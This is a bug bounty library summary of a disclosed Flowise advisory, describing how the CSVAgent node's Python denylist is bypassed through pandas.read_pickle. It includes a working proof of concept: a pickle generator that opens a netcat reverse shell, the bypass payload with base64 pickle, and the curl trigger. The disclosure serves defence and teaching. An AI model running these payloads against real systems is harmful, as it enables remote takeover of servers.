# Flowise: Remote Code Execution Vulnerability in CSVAgent

Flowise CSVAgent's Python denylist can be bypassed via pandas.read_pickle() with a crafted file-like object, deserializing a pickle payload to run OS commands.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: jia-elttam
- Disclosed: 2026-08-04
- CVE: CVE-2026-69256
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-x6vm-w76m-8j7g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x6vm-w76m-8j7g
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs tech:python technique:source-review vuln:command-injection vuln:deserialization vuln:rce

**Target:** CSVAgent node in flowise-components (pyodide Python executor)
**Root cause:** User-supplied customReadCSVFunc is interpolated into Python code run by pyodide and only filtered by a regex denylist of dangerous constructs; pandas.read_pickle() deserializes attacker-controlled pickle data, invoking __reduce__ for code execution without matching any denied token.
**Steps:**
1. Generate pickle payload: class Exploit with `__reduce__` returning `(os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))`, then `base64.b64encode(pickle.dumps(Exploit()))`.
2. In Flowise dashboard create a Chatflow and drag a CSV Agent node.
3. Under Additional Parameters set customReadCSVFunc to `isnull("")` plus a `MiniBytesIO` class implementing read/readline, then `pd.read_pickle(MiniBytesIO(base64.b64decode("<payload>")))`.
4. Save chatflow, note UUID from `/canvas/<UUID>`, start listener on 13337.
5. Trigger with `curl -X POST http://<TARGET>/api/v1/prediction/<UUID>` to execute the command.
**How found:** Noticed CSVAgent lets users supply customReadCSVFunc executed as Python in pyodide, guarded only by a regex denylist; reasoned that pandas itself offers dangerous primitives not on the list, and identified read_pickle() as a deserialization sink reachable without any forbidden keyword.
**Exploitation:** Attacker with chatflow edit access injects a custom read function that feeds a base64 pickle into pandas.read_pickle via a hand-rolled file-like object (needed because import/open are blocked and pyodide lacks raw sockets). Triggering the prediction endpoint deserializes the pickle, calling os.system to spawn a reverse shell from the pyodide runtime.
**Insight:** When a Python sandbox relies on a keyword denylist but pre-imports powerful libraries, enumerate that library's own dangerous APIs (read_pickle, read_json, eval-like loaders) as sinks; blocked import/open can be worked around by reimplementing file-like objects in pure Python.

## Proof of concept (copied exactly from the original report)

**Pickle payload generator for OS command**

```
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)
```

**CSVAgent customReadCSVFunc read_pickle payload**

```
isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))
```

**POST request triggering the chatflow**

```
$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>
```

